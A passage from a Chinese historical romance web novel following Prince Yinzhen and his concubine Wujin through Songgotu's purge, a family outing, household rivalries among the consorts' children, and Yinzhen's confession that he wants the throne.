等到七月底,皇阿玛召集群臣到乾清宫大殿,上朝时罗列索额图的罪名,说他结党营私,排斥异己,贪污受贿,直接给定了死罪。
胤禛在底下听着只觉得心惊,皇阿玛这是真心想要查办索额图,太子没有在大殿上替索额图求情,倒是其它大臣为索额图求情了。
皇阿玛直接一并将那些人下狱,此举让大家再也不敢替索额图求情。
不仅如此,皇阿玛过两日又命人抄家,将索额图的家人一同关进宗人府,抄家自然抄出不少稀奇昂贵的财物,皇阿玛又说索额图本人生活奢靡,比他这个皇帝过得还舒服。
这一番罗列罪名,又迅速抄家的举动让大家意识到索额图这次是真的大势已去。
胤禛在宫里再碰到太子,太子憔悴不少。
八月初,太子直接抱病。
而整个八月,皇阿玛以雷霆手段直接肃清清理索额图党羽,将不少索额图的亲信下狱的下狱,斩杀的斩杀,流放的流放,而索额图一家除了女眷,三岁以上的男眷通通处死,连格尔芬都被处死。
可见皇阿玛对索额图怨恨有多深。
朝中人人自危。
皇阿玛也迅速提拔一些汉臣。
不管外头怎么样,胤禛在八月三十日参加了女儿的周岁宴,也好在乌锦举办的周岁宴没有宴客,就是简简单单的,府里人坐在一块吃顿饭,看着曦宁这孩子抓周。
不得不说没有宴客是对的,如今外头乱得很,午门那边天天有人被处死,那血擦都擦不完。
周岁宴过后,胤禛照常去户部当差,而太子一直抱病不见人。
九月初,天气凉爽,胤禛打算就带着孩子们去庄子那边玩,孩子去,额娘自然得跟着,于是福晋、李格格跟她都一同前往,分了三辆马车。
城外的庄子是胤禛两年前买下来的,有奴才在这里看着庄子,里头种了不少果树跟蔬菜,这庄子比不上皇庄,但给贝勒府供一些新鲜的瓜果是够的,养家费银子,他身为阿哥,也得想办法省银子。
“额……额……”胤禛见自家女儿拼命地挥动着小手,很兴奋地看着外面,想叫额娘又发不出来娘字的音。
乌锦紧紧抱着孩子,一直跟孩子望着外面略过的风景。
“爷,你看她兴奋的,这可是她难得一次出府。”
乌锦回头跟四阿哥说话,见四阿哥定定地看着她,她也对着他温柔地笑了笑。
“以后有空可以常来。”
“庄子长什么样?”乌锦问。
“就是果园,孩子可以摘果子。”
乌锦觉得曦宁这孩子要是三四岁过来肯定更兴奋,现在才一岁,还不会走路,话也不会说,恐怕还不太能体会摘果子的乐趣。
到庄子前后,三辆马车依次停下,乌锦被四阿哥搀着下来,戚妈妈把孩子交给她,她把孩子抱住后,戚妈妈跟君梅才下来。
只见大格格曦玉跑过来,昂着头问四阿哥:“阿玛,你怎么不跟我坐一辆马车?”
乌锦看一眼四阿哥,只听见四阿哥说曦玉格格坐的那辆马车坐不下了。
李格格跟着两个孩子坐一辆马车,身边跟着四个奴才,也的确是坐不下了。
“我还以为阿玛只喜欢妹妹,不喜欢我了。”
乌锦听到曦玉格格的话,不由地皱眉,怕有人教曦玉这么说的,不过想想曦玉原先就是家中唯一的格格,如今多了曦宁,她得到她阿玛的关注少了,她心里觉得不平衡也情有可原。
好在四阿哥弯腰一把把曦玉格格抱起来:“怎么会,你可是阿玛的女儿,阿玛很喜欢你,不会不喜欢你的。”
“真的吗?可是你都去看妹妹,不怎么来看我?”
胤禛看了一眼李氏那边,眼神变冷,随后才看着曦玉说道:“阿玛也有常常看你,你跟妹妹都是阿玛的女儿,阿玛都喜欢,好啦,我们进去摘果子吧,今日谁的果子最多,阿玛就喜欢谁。”
弘晖也跑过来扯着四阿哥的衣服下摆:“阿玛,我也想要阿玛抱。”
“弘晖是男子汉,可以自己走路,都跟着阿玛进去吧。”
守着庄子的几个奴才早早在大门前等候,见到主子们过来赶紧行礼,迎主子们进去。
乌锦抱着孩子走在后头。
“格格,让我来抱小格格,你别累着手。”
乌锦这才把孩子递给戚妈妈。
本以为庄子不大,但进去后发现庄子还挺大的,如四阿哥所言,里面种着不少果树,不过有些果树还没有长得很大,树干不粗,这会也
不是结果的季节,但有些果树还是结了果子,比如石榴树,比如苹果树。
里头不仅有果树,还有种的各种蔬菜,养的鸡鸭鹅,也有几只羊跟牛,反正还挺丰富的。
胤禛回头看一眼落在后面的乌锦,停下来等她。
乌锦见前面一帮人回头看她们,她又赶紧上前,她见到曦玉格格又不大高兴了,正撅着嘴。
福晋开口说这苹果树熟的果子不少,可以摘一些回去做果酱,一群人又过去苹果树那边,有可以摘果子的特制工具。
大家各自摘着才有些分散。
乌锦也难得体验这种农家乐,拿着工具举高看到表皮变红的苹果就稍稍用力扯,将苹果从树上扯下来,直到四阿哥站在她身边,她看他一眼,忍不住说道:“主子爷,你就别管我们了,去陪陪大阿哥跟大格格吧。”
“怎么,吃醋了?”
她这绝对不是吃醋,而不是招人嫉恨,他老在她身边晃悠的话,福晋跟李格格难免会对她不满,两个孩子也会觉得她抢走他们阿玛的注意,独占他们的阿玛。
她还想在府里安安生生地过日子呢,不能因为一次外出郊游就把人都得罪了,四阿哥跟她坐同一辆马车估计都有人不满了,他还这么明晃晃地跟她在一块,岂不是更招人不满。
“你去陪弘晖跟曦玉他们吧,真的不用管我,跟福晋还有李格格多待在一块,别总往我身边杵,我会自己玩的。”
“我想待在谁身边,我自己还不能做主了?”胤禛有些不悦。
乌锦直接怼他:“那你有本事别三妻四妾,有本事你把我抬为正福晋,你平衡不好这些妻妾的关系,只会家宅不宁,这是你想要看到的?”
“你总有理。”
“我就是有理,你赶紧去吧,别管我,我自己跟孩子这一块走走,放心吧,我这么大个人,也不会走丢。”
胤禛只好去福晋那边。
乌锦带着孩子转到石榴树那一块,也摘了一些石榴,还直接吃了几个熟的,苹果红的青的都咬几口,发酸的没有继续吃。
一岁的小孩子自然不能吃这些,曦宁只能眼巴巴地看着他们吃,一脸着急的样子,好在她们给她带了小孩子能喝的羊奶过来,喂她喝羊奶。
乌锦她们沉浸在农家乐中,不仅摘了果子,也摘了一些蔬菜,然后带着曦宁过去看鸡鸭鹅,曦宁一看到那些活的鸡鸭鹅就更加兴奋,恨不得直接伸手去摸,要是会走路,肯定追着它们跑。
“格格,你看小格格多高兴。”君梅笑道。
“在府里没见过这些,瞧把她给兴奋的。”
乌锦在一旁也一个劲地教曦宁说话,这孩子已经学会怎么说鸭子跟鸡了,这两个比较好发音,君梅跟戚妈妈顿时乐得嘴角上扬,再一遍遍教孩子别的。
孩子开口欲望很强烈,跟着学起来,虽然不标准,但至少能说话了。三个大人一齐逗着一岁大的孩子说话。
过了好一会,有奴才叫她们过去吃饭,她们才一起去院子那边,福晋他们也已经到了,招呼她们。
“乌妹妹,你都摘了什么?”
君梅把篮子呈上去,让大家伙看看她们都摘了不少。
乌锦笑道:“我们摘的有一些已经进我们的肚子,弘晖阿哥,你摘了什么?”
“我摘了青苹果,不过我额娘不让我吃,怕我吃坏肚子。”
“曦玉格格,你摘了什么?”
曦玉格格年纪大些,没有回她的话,李氏训她一句,让她回话,她才不情愿地说她也摘苹果。
乌锦也没有继续热脸贴冷屁股地追着曦玉格格问,她看了一眼比曦宁大两个月的弘昀,问李氏二阿哥会说话了没有。
李氏倒是很好脾气地回她:“还没有,只是蹦出一些我都听不懂的话,曦宁格格呢,会说话了吗?”
“跟二阿哥一样,经常咿呀咿呀的,也不知道她在说什么,不过她这阵子很想开口说话,估计跟二阿哥一样再过不久就能说了。”
李氏柔声道:“孩子你多跟她说话,慢慢就学会了,曦玉这孩子是两岁才学会说话的,不用太着急。”
福晋在一旁说弘晖也是两岁才学会说话的。
几个大人就着孩子的事聊起来,气氛才融洽一些。
庄子里的奴才将他们做好的饭菜端上来,杀了一只鸡一只鸭跟一只鹅,有好几种做法,桌上,福晋给四阿哥夹了一块鸡肉,四阿哥也没有拒绝。
乌锦自己吃自己的,不当着福晋的面给四阿哥夹菜夹肉,孩子由戚妈妈跟君梅照看着,这家养的鸡肉很好吃,她不知不觉吃了不少,碟子上积攒下不少骨头。
“乌妹妹真能吃,胃口很好。”福晋笑着说了一句。
乌锦道:“今日感觉忙活一天了,这些菜都很好吃,我一向吃得多,福晋你看我身子比较胖就知道了。”
福晋笑道:“能吃是福,况且妹妹不胖。”
“我肚子上的赘肉不少,生完曦宁也不见瘦,估计是我喜欢吃的缘故。”
福晋跟李氏都轻笑两声,说她们看不出。
乌锦心想她成天穿着宽松的直身旗装,能看出来才怪,反正三个女人在席上有说有笑,暂时谁都不管四阿哥。
临近傍晚,他们一群人才返回贝勒府。
四阿哥依旧跟乌锦坐同一辆马车,戚妈妈抱着已经睡过去的曦宁。
“今天玩得开心吗?”
“嗯,挺好玩的。”
胤禛看得出她是真的开心,比起一岁的曦宁,很明显是她玩得更开心,他说道:“以后有空再带你过来。”
“也不用特意带我过来,跟福晋他们一起过去也没什么不好,福晋宽厚,李格格性子温和,她们都很好相处。”
胤禛搂着她:“你不用跟她们很亲近。”
乌锦心想她是不用跟她们很亲近,但她相信她要是跟她们发生矛盾,屡有争吵,互相不对付的话,他恐怕又会觉得她不懂事。
男人就是这样,他想享齐人之福,希望后院的女人都能安安分分的,不给他添麻烦,嘴上让她不用跟福晋她们亲近,但实际上还是想让她跟福晋她们好好相处。
她倚在他怀里:“福晋她们待我很好,爷请放心,我不会主动生事。”
到贝勒府,奴才们将从庄子那边摘回来还有带回来的东西往膳房那边送去。
乌锦也玩一天了,回到桃园先洗漱沐浴,换一身干净的衣服,孩子被戚妈妈抱去隔壁了,四阿哥依旧到桃园。
乌锦沐浴出来见到他,下意识皱眉,他来她这太频繁了,也怪不得曦玉格格不满。
“你不想我过来?”胤禛察觉到乌锦轻微的表情变化,问了一句。
“爷,你觉不觉得你来桃园很多次,你想想你去福晋那几次,去李格格那几次,召别人侍寝几次,你太厚此薄彼的话,别人只会把气撒在我身上,暗箭难防,这府里的人要是针对刁难我,我恐怕逃不过,不是我不想让你来这边,而是你要懂得平衡,至少面上要平衡,这个道理,我想不用多说,主子爷也是懂的。”
“你就是不想让我过来这边,你白天说的话,我还记得呢,我不明白我为何不能随着自己的心意过来,我想做什么就做
什么,福晋她们这么多年已经习惯了,她们不会在意,是你自己在意而已,你是不想我过来才这么说的。”
“爷,你在无理取闹了。”
“我无理取闹还是你不喜欢我过来?”
乌锦不明白他突然间又发什么脾气,她又没说错话,这府里人人都知道她得宠,她得宠自然就有人不得宠,这话传来传去可能也会传到曦玉格格那里,曦玉格格今日白天才会对她说这些话,对她散发敌意。
曦玉还是小孩子,她尚且不能掩饰自己的敌意,其它人呢,恐怕早就对她不满了,不过大人懂得掩饰而已。
乌锦也不想好端端的日子起波澜,今日曦玉格格的话给她一个警醒,四阿哥待她好是一回事,她也要跟后院的女人和睦相处。
“你讲点道理行不行,你知道我说的不是这个意思。”
“乌锦,别人想要专宠都来不及,偏偏你要推拒,你要是喜欢我,又怎会舍得把我让给别人,喜欢本就是有占有欲的,在你身上,我感觉不到。”
胤禛觉得乌锦只是妥协了,她想过好日子,让她的家人过好日子,所以她妥协了,她并非是因为喜欢他才会心甘情愿地待在他身边。
“好,那你以后不准去别人那里,只准过来桃园,不准召别人侍寝,只让我一个人侍寝,你以后也只准对曦宁一个人好,不准对弘晖他们好,你只准把曦宁当成你的孩子,你要是想要阿哥的话,我可以给你生一个,你把我生的阿哥立为世子。”
“你明知我不是这个意思。”
乌锦不满地看向他:“那你是什么意思,我说的你又做不到,你既然做不到,又为何逼我这么想,我拦着你,霸占着你,不让你去别院,你就满意了,你就高兴了?”
胤禛发现自己真是说不过她,被她这么一问,他竟一时哽住,想不出话来反驳,他气呼呼地坐在床边。
“胤禛,人就是不能完全随着自己的性子跟喜好做事,你不能,我也不能,我想要霸占你,但你也是这后院所有女人的丈夫,你不是我一个人的,你明知我不能霸占你,你为何要用这个控诉我,说成是我的错,你看今日曦玉格格说的话,连她一个小孩子都感觉到你的偏心了,等将来曦宁长大,她如何面对她那些兄弟姐妹,你想想跟你一起长大那些兄弟姐妹,你皇阿玛偏心的人,你难道能心平气和跟他相处,什么都不计较?”
胤禛想到太子,皇阿玛以前是真的偏心太子,太子养在皇阿玛膝下,太子做什么,皇阿玛都会称赞他,而他很少得到皇阿玛的称赞,于是他心底对太子是有怨气。
其他兄弟其实对太子也有怨气,因为太子是太子就算了,皇阿玛也偏心他,他们兄弟间有过亲近的时候,但更多时候是疏离不交心的,他自认不是心宽之人,的确没法做到什么都不计较,很多时候没法心平气和跟太子相处,总是想着同是皇阿玛的儿子,为何皇阿玛总是比较看重太子夸赞太子。
胤禛看向乌锦,不想承认她说得对。
“胤禛,孩子都还小,此时的他们都想得到他们阿玛的关注,若是只被一个人占去,换成是你,你会不难过,不计较吗?
乌锦觉得府里的孩子此时等于是抢同一个资源,那就是四阿哥的疼爱,他们抢不到,没有平分,久而久之他们心里会越来越不平衡,积攒越来越多的怨气。
人不是孤岛,她要跟后院那些女人共处几十年,曦宁也要跟她那些兄弟姐妹相处十几年,她们需要四阿哥这个男主人公在其中帮他们平衡,而不是加剧矛盾。
第76章第76章更新
第76章
“乌锦,你伶牙俐齿,我说不过你。”
乌锦见他气呼呼的样子,莫名觉得好笑,她过去双手捧着他的脸,柔声哄道:“好啦,别生气了,这府里又不是战场,非要分个你输我赢,口舌之争赢了又能怎么样,我知道你心里是认同我的话的,今晚你可以歇在这,明天就不要过来了。”
“你总是气我,我迟早会被你气死。”
乌锦捂住他的嘴,“呸呸呸,说什么胡话呢,什么死不死的,好啦,你先去洗澡吧,一身土。”
胤禛还是先吻乌锦一会才去洗澡。
夜里,两人胶着缠绵在一块,内间传来一些闷哼声,胤禛忍不住狠狠折腾她,让她把他推给别人,疯一样来回,见她眼神有些迷离,他才觉得有成就感。
事后,两人都尽兴,过后都沉沉睡着了。
翌日。
胤禛还是在桃园这用过早膳才离开,索额图一党被皇阿玛铲除掉一大半,虽然太子称病不知是真还是假,他身为弟弟,还是得进宫探望探望太子。
他难得跟胤褆约着一起进宫,只是到太子的毓庆宫时,让奴才通传,奴才很快出来说太子此时身子不适,怕把病气传给他们,就不见人了,让他们回去。
他们只能回去,回去的路上,大哥胤褆说了一句:“四弟,你说二弟是不是不想见我们,闭门不见,我们都到宫门前了,他还拒之门外,你说他这是什么意思?”
“二哥应该是病了。”
胤褆又说道:“真病还是假病?他会不会觉得我们过来探望过来得晚了,生我们的气才不愿意见我们?”
胤禛其实前面也有来求见过,跟这一次一样被拒之门外,胤褆可是太子生病后第一次过来,可能是为了避嫌才没有过来,虽说皇阿玛只处置了索额图,但谁心里都明白皇阿玛是不满太子一党,在这种特殊的时候,他们若是跟太子走得近,也会被认为是太子一党,继而有可能会被皇阿玛针对处置,皇阿玛上个月处死那么多人,手段狠厉,大家都想明哲保身。
太子依旧是太子,皇阿玛目前没有要动太子本人的意思,所以胤禛对太子还是有几分敬意,替太子解释道:“太子不是这样的人,应该真是病了,我们过几日再过来,说不定太子就愿意见我们了。”
“可是我听说前几日胤祉过来,太子就见了,太子还是对我们不满。”
胤祉跟太子的关系到底比他们亲近一些,太子见胤祉也无可厚非,胤禛明白在这群兄弟之中,太子跟胤祉走得最近,跟他们还是隔着一层。
“大哥,别想那么多,让二哥好好养病吧。”
跟胤褆分开后,胤禛又去一趟银楼,在银楼跟雅尔江阿见面,他见雅尔江阿样子有些憔悴,问他怎么了,雅尔江阿说他阿玛生病了。
瞧雅尔江阿憔悴的样子,简亲王怕是病得不轻,他安慰雅尔江阿几句,跟雅尔江阿分开后,他回到贝勒府,把府医叫过来,让他去备一些珍贵的药材。
胤禛还不放心,又亲自去一趟太医院,想要两颗救命丸,救命丸不易得,他身为皇子,还是费了好几天功夫才要到。
他过去简亲王府,将准备好的药材跟救命丸一并给雅尔江阿,也见到简亲王,他脸色发白,说话有气无力,过来看诊的太医说简亲王脉息浮浅,神气昏聩,脑中怕是有溢血症状,治疗只能以益气温阳为主,活络化淤为辅。
简亲王毕竟年纪大了,又是脑中溢血,恐怕时日不多。
胤禛安慰完简亲王的家人后,心情略微沉重地离开。
……
乌锦从四阿哥口中得知简亲王病重的消息也有点意外,她也让人送一些东西给李夫人。
没想到仅过半个月,就传来简亲王病逝的消息,在简亲王病逝后第三天,她还有福晋她们都跟着四阿哥前去王府吊唁。
皇上也让派官前去吊唁,送去丧银。
京中这两个月发生了很多事,处在风声鹤唳的紧张氛围中,简亲王的丧事也持续了十几天,可以说京城这阵子的氛围都是沉郁的,好在贝勒府这边的日子还算平和,四阿哥也终于“雨露均沾”。
到了十一月二日,弘昀小阿哥的生辰当天,李格格替他办了周岁宴,特殊时期,同样不对外宴客,不过弘昀是四阿哥的儿子,有不少人送礼过来,德妃娘娘也记得弘昀的生辰,宫中派人送生辰礼给弘昀,这待遇是曦宁没有的,阿哥跟格格还是有区别。
乌锦抱着曦宁过去李氏的院子参加周岁宴,先把她备好的生辰礼送给李格格。
“乌妹妹费心了。”
“应该的。”
乌锦也跟其它人一一打招呼。
府里的主子基本都在,大家坐在一块先吃饭,四阿哥坐在中间,跟曦宁的周岁宴流
程差不多,饭吃完后开始抓周。
弘昀抓了一本书,嬷嬷们说弘昀聪明,将来读书很厉害,随后他又抓了印章,大家说弘昀将来能当大官。
一旁的曦玉格格天真地问道:“大官?怎样才算大官?”
这话把嬷嬷们问住了,本来弘昀就已经是贝勒之子,出身皇家,将来至少已经是贝子,这大官要大于贝子,可能就是个王爷之类的,只是将来四阿哥的爵位是弘晖阿哥继承的,弘晖阿哥才是王爷,弘昀阿哥可能是郡王,可吉祥话说是郡王,好像就不像是吉祥话了,吉祥话是要往高了说,弘昀阿哥将来本来就会是郡王之类的。
“像阿玛一样,阿玛就是大官。”
好在曦玉格格自问自答,她眼神崇拜地看着四阿哥,在她眼里,自家阿玛就是大官,大家都顺着说是这样没错,后面又变成称赞四阿哥。
抓周只抓两样东西,抓多了就不灵了,这一部分总算是过去,四阿哥还有公务要忙,就先回前院了,只剩下她们这些女人还聚在一块闲聊。
李格格见曦宁也想要玩铺炕上那些琳琅满目的东西,便说道:“乌妹妹,你把曦宁格格放在炕上吧,让她跟弘昀玩一会。”
乌锦便把曦宁放在铺炕上,福晋在一旁称赞说曦宁长得好看,越长大越好看。
其他人跟着细看,也都觉得曦宁长得好看,郭氏说了一句:“这曦宁格格长大后会比曦玉格格好看。”
此话一出,众人脸色一僵,纷纷看向不会说话的郭氏,这不是存心想挑破离间嘛,郭氏说话一向不过脑,脱口而出,大家又觉得这话从她口中而出也不是那么意外。
福晋在一旁打圆场:“这小孩子是一天一个样,长大后跟小时候长得不一样,两个格格长大后肯定都好看。”
曦玉肯定听到这句话了,她见曦宁正抓着刚才弟弟抓过的印章玩,她一把抢过去,大声吼道:“这是弟弟的,你不能玩。”
曦宁也才一岁两个月,原本正专心地玩着印章,突然被吼,她也一下子吓到了,于是放声大哭。
“曦玉,你干什么?”李格格训斥曦宁格格,想把她手里的印章拿过来,“妹妹玩玩怎么了,你为什么要抢妹妹的东西?”
“我没有抢她的东西,那是属于弟弟的,是她抢弟弟的东西,额娘,我讨厌她,我讨厌她!”
曦玉格格如今六岁了,小孩子这个时候是很有自尊心的,她被说大人说不好看,于是把气撒在曦玉身上,被自己额娘训斥过后,也不觉得自己有错,她气得又狠狠推倒坐在铺炕的曦宁。
曦宁倒在铺炕上,好在穿得多,才没有受伤,戚妈妈见状也赶紧把曦宁抱起来。
李格格气得抓住曦玉的手,狠狠地抽打她手心几下,啪啪几声,严肃道:“曦玉,她是你妹妹,你为什么要推妹妹,你真是一点都不听话,也不懂事,快跟妹妹道歉,跟妹妹说对不起。”
“我不要,我不要,她才不是我妹妹,我只有弟弟,没有妹妹。”曦玉说完后也跟着放声大哭。
乌锦出声道:“李姐姐,不是什么大事,你别跟孩子置气,别打孩子,曦玉,是妹妹不对,妹妹的确不该跟弟弟抢东西,好啦,别哭了。”
乌锦想给曦玉擦眼泪,却被曦玉一手挥开。
李氏见状,又打了曦玉的手,将她的手心给打红。
福晋也出来制止:“李妹妹,不用这么动怒,曦玉还小,说的话不用太当真,曦玉,乌夫人的女儿就是你妹妹,你以后不能再说这话,你们姐妹两以后还要一起玩呢。”
曦玉哽咽说道:“我才不要跟她一起玩,她不是我妹妹。”
乌锦觉得该走了,暂时分开,免得场面更加不可收拾,她就提出告辞,李氏也没有拦她,宋氏也跟着她离开。
曦宁还在哭,乌锦从戚妈妈手里接过来后哄她,她才减减停止哭声。
“这曦玉格格气性真大,李氏都压不住她。”宋氏说了一句。
乌锦说道:“小孩子就是这样,脾气来得快去得也快,并不是什么大事。”
宋氏叹口气,说曦玉格格是主子爷的长女,前面几年她是府里唯一的孩子,主子爷也十分疼爱她,这才养成她娇纵的性子,这性子跟李氏温和性子截然相反。
当了好几年独生女,如今多出这么多孩子跟她争宠,曦玉格格不满也在情理之中,乌锦一直说不是什么大事,没想把事情闹大。
宋氏偏头看一眼乌锦,仔细看曦宁格格的眼睛跟乌锦的眼睛很像,又大又圆,很是勾人,尽管曦宁格格才一岁多,但的确长得好可爱,说将来曦宁格格比曦玉长得好看也没说错,任谁看都觉得曦宁长大后是个美人胚子。
曦玉这孩子才六岁,脾气就这么暴躁,还说出曦宁不是她妹妹这种话,宋氏觉得应该是有人教她的。
那些奴才有时候难免闲言碎语,又各为其主,对着格格说这种话也不意外。
福晋有弘晖阿哥,李氏也有阿哥,但乌妹妹有恩宠,有四阿哥的偏爱,这府里已经没人敢轻视怠慢乌妹妹。
也好在乌妹妹的性子不是恃宠而骄的,也不会主动招惹别人,不然这府里恐怕不能太平。
想想跟乌妹妹一起进府的章佳氏,在府里没什么存在感,宋氏觉得乌妹妹进府也快一年了,仍然能笼住主子爷的心,可见她还是有手段的。
“妈妈……”哭完的曦宁喊奶娘,妈妈二字对她而言很好发音,乌锦觉得她是饿了,于是加快步伐回到桃园,让戚妈妈她们给她喂奶。
乌锦能感觉到曦玉格格不喜欢她们母女两,她也没有特意化解曦玉对她们的不喜,还是她们过她们的,她过她的,曦宁毕竟跟曦玉相差五岁,话还不会说,两个孩子暂时还玩不到一块,所以她没有非要把她们凑在一块成为亲近的姐妹。
李氏倒是有几次带曦玉过来桃园,让曦玉跟曦宁一块玩,她能看出来曦玉是不情愿的,比起曦玉跟弘昀,弘晖的年纪跟曦玉更接近,两个孩子更能玩在一块。
到了十一月底,乌锦带着曦宁去一趟李府,探望坐完月子的彩玉,彩玉生了一个女儿,在李府待了半天才离开。
乌锦过两天又带着女儿回一趟娘家,舅舅他们都过来乌家,大家在其乐融融地吃顿饭,家里最近也没发生什么事,连她小舅这阵子也安安分分的。
可不得老实嘛,皇上这几个月杀了那么多人,还有不少官员被关进牢狱里,有些一家人都被处死,明达虽然常常犯错,好高骛远,但他这个人说胆小也胆小,惜命得很,知道这阵子是多事之秋,他去过午门,见到侩子手亲手砍下别人的头,那血溅的,他哪还敢惹是生非,只想像个鹌鹑一样缩起来,不强冒出头被皇上处置。
他也不知道皇上为何大发雷霆,处置了那么多人,听说跟太子有关,他想着自己不是太子的人,他是四阿哥的人,只要熬过这阵子应该就没事了。
吃饭时,他想从侄女这探听一些内幕,侄女只让他不惹事,好好当他的官,别拉帮结伙,其它的不用他管,知道得越多越容易出事。
明达知道自家侄女肯定不会害他,于是没有多问。
乌锦从乌家回到贝勒府后,在房间内
觉得热,就将外面的大氅脱掉,叮嘱戚妈妈给曦宁喂奶。
又是一年年关,乌锦看上一年给她送礼的名单,又查看她库房里所有东西的名单,看着今年要给谁送礼。
君梅见屋内光线暗,帮她把烛灯都点上。
“格格,你注意眼睛。”
乌锦从娘家回来就快天黑了,冬日天黑得早,她让君梅帮她备热水。
“那格格还要吃点什么吗?”
“过一会再吃吧,现在肚子还是撑着的。”
正当乌锦跟君梅说话时,小才子就在外面喊主子爷来了,没过一会儿,四阿哥走进来了。
“先给主子爷上一碗热汤暖暖身子吧。”
胤禛坐下来,晓得她今天回娘家了,顺嘴问一句乌家那边怎么样了,家里人可都好。
“一切都好,多谢主子爷挂心。”
“跟我还客套什么,雅尔江阿可能要袭爵了。”
乌锦看向四阿哥,世子要袭爵不是什么值得意外的事,雅尔江阿又是嫡长子,早在几年前也被封为世子,他袭爵撑起简亲王府是顺理成章的事。
“他会是镶蓝旗的旗主。”
所以呢,乌锦眼神疑惑,不知道四阿哥到底想什么,她试探问:“爷是不想雅尔江阿成为镶蓝旗的旗主吗?”
“说什么傻话,我怎会不想雅尔江阿成为镶蓝旗的旗主,太子称病快三个月,如今已经病愈了。”
话题转得太快,乌锦皱着眉细想一下,显然皇上处置了索额图一党,对太子虽然不满,但显然还不打算动太子,放过太子一回,而皇上对太子的防备跟不信任恐怕就没有那么容易放下了。
以前没有人会想到太子一党会倒下,可如今太子一党被皇上削去不少,等于是砍掉太子一臂,这也会让其他人看到了希望。
太子有可能不是太子,当太子不是太子,那就意味着其他人有可能登上那个位置,而四阿哥也是皇子,他也有机会坐上那个位置,四阿哥这是动心了。
雅尔江阿袭爵,成为镶蓝旗的旗主,以四阿哥跟雅尔江阿的交情,等于是雅尔江阿站在四阿哥这边,镶蓝旗旗下佐领为四阿哥所用,四阿哥这边有一定的兵力。
“主子爷,我不懂这些,你自己做主就好。”
“你又知道我在想什么?我要做什么主?”
“我哪知道主子爷要做什么主,反正我一个内宅女子都听主子爷的。”
胤禛觉得乌锦肯定知道他在想什么,所以她才说让他做主,她一向聪明,他示意屋子里的奴才先出去,他定定地看着乌锦:“你是不是知道我在想什么?”
“我又不是主子爷肚子里的蛔虫,怎会知道主子爷在想什么。”
“我想坐上那个位置。”
乌锦见他这么坦诚跟她说心底的秘密,还真是不怕她说出去,她还是假装害怕道:“爷,你……太子还在,将来是太子坐上那个位置才对。”
“皇阿玛已经不信任太子了。”
不仅仅是皇阿玛不信任太子,恐怕皇阿玛处置索额图党羽,也给太子心中埋下一根刺,太子怕是也不信任皇阿玛了,他越是不信任皇阿玛,他就越想做什么,太子一做什么,皇阿玛自然会紧张。
两虎相斗,必有一伤。
同为皇子,只要太子不再是太子,那他便有机会坐上那个位置,只有坐上那个位置,他才不用听令于人,受制于人。
“主子爷,我什么都不懂,我想主子爷自己能想明白的。”
胤禛轻笑一声,看向乌锦:“你不怕吗?”
“怕什么?”
“成王败寇,若是我没能如愿,你往后恐怕也不会有好日子过。”
乌锦反问道:“若是我说我怕,主子爷会听我的,选择放弃吗?”
胤禛摇头,他已经见到那道曙光了,哪肯放弃。
“那你还问我?你又不听我的,就跟主子爷说的一样,成王败寇,主子爷自己想好就行,我就当是嫁鸡随鸡嫁狗随狗了,不过我觉得当个王爷也不错,不然主子爷将要走一条充满荆棘,充满鲜血的道路。”
胤禛没管乌锦最后说的那句话,笑道:“好一个嫁鸡随鸡嫁狗随狗,乌锦,你放心,我会让你一直过好日子的。”
乌锦心想如今才康熙四十年,至少还有二十年要熬,恐怕四阿哥做出这个决定时也没料到要熬二十年吧,这二十年注定不会太过平顺。
她看着雄心勃勃的四阿哥,还是忍不住说一句:“爷,你别忘了太子为何会变成如今的模样,野心暴露得太早,只会适得其反。”
胤禛眼中一震,盯着乌锦,一句话让他迅速冷静下来,乌锦说得对,皇阿玛如今身子康健,容不得太子觊觎皇位,更何况他们。
“乌锦,你真的是从乌家那边长大的吗?”
“如假包退。”
胤禛觉得自己捡到宝了,应该说是抢到宝了,他放生大笑,高兴地过来把乌锦一把抱起来,直接朝里面走去。
“别闹,还没入夜呢。”
“不管,以前又不是没这样过,以前都是白天。”
乌锦面露无奈,没能阻止他,被吃干抹净一回。
事后,四阿哥喝热汤,乌锦去洗澡。
到了酉时,两人坐在一块用膳。
曦宁哭闹不止,乌锦让奶娘把孩子抱过来给她,这孩子其实还是两个奶娘照顾得多,夜里是奶娘哄睡,偏偏她还是最黏她,不知这算不算奇妙的血缘关系,母女连心。
“你这孩子。”乌锦边说边连着亲曦宁的脸颊,曦宁转哭为笑,一笑,她口水就流出来,“额娘刚洗澡,你不能弄脏额娘的衣服。”
“呵呵……”曦宁开始抓她的头发。
“不可以,不可以抓头发。”
曦宁不听,依旧抓头发,乌锦抓住她动弹的小手,孩子还小,加上她自己不喜欢戴饰物,基本上头发都是简单盘起来,偏偏小孩子最喜欢抓头发,她觉得自己最近被薅走不少头发。
胤禛在一旁瞧着乌锦很有耐心地跟女儿说话,眼中充满慈爱,对女儿比对他温柔多了,散发着母性的光辉。
“去抓你阿玛的辫子。”
乌锦把孩子递给四阿哥,让四阿哥抱着,哪能让他就坐着看,只是四阿哥只有后面一点辫子,前面光秃秃的,小孩子抓几下没抓到头发,觉得无趣就不抓了。
“以后这孩子就交给你带,省得她老薅我的头发。”
“我带就我带,女儿,你额娘嫌弃你,当娘的怎么能这样,以后你就跟阿玛在一起。”胤禛学着乌锦连亲女儿的脸颊,只是被他亲的女儿开始哭起来,他挑眉看向乌锦,“为什么我亲她,她就哭了?”
“你那些胡渣扎到她了,你自己弄的,自己哄好,我不管你。”
小孩子皮肤多娇嫩,稍微不舒服,她就会哭,乌锦觉得就该让他多带带孩子,他才知道孩子不是那么好带的,不能孩子心情好的时候,他抱一抱就是尽到父亲的责任了,孩子哭闹不止的时候,他不见人影。
胤禛的确很少哄孩子,尤其是哭闹不止的孩子,孩子一般哭了,奶娘就会抱走哄去了,所以他连着哄一会,女儿还在哭,乌锦在一旁幸灾乐祸,没有要帮忙的意思,奶娘想接手,乌锦也直接制止。
最后他还是拿小玩具转移女儿的注意力才把女儿哄好。
第77章第77章更新
第77章
十二月初八,京城仿佛一夜之间又冷到一个高度,虽然没下雪,但寒冷干燥。
一大早,膳房的人就开始开始忙碌,将腊八粥熬好,趁着主子们起床之际,送到主子们那里。
乌锦一般起得晚,尤其是冬日外头那么冷,人只想待在被窝里,不过曦宁把她弄醒了,她正在她的床上爬来爬去。
她也只好起来,腊八粥送过来,乌锦吃了一碗,也给女儿喂了几口,曦宁平日里喝奶居多,吃的东西也基本上没味道,第一次吃到甜的腊八粥,她看上去很
满足,吃得眼睛都发亮。
“额娘,要。”
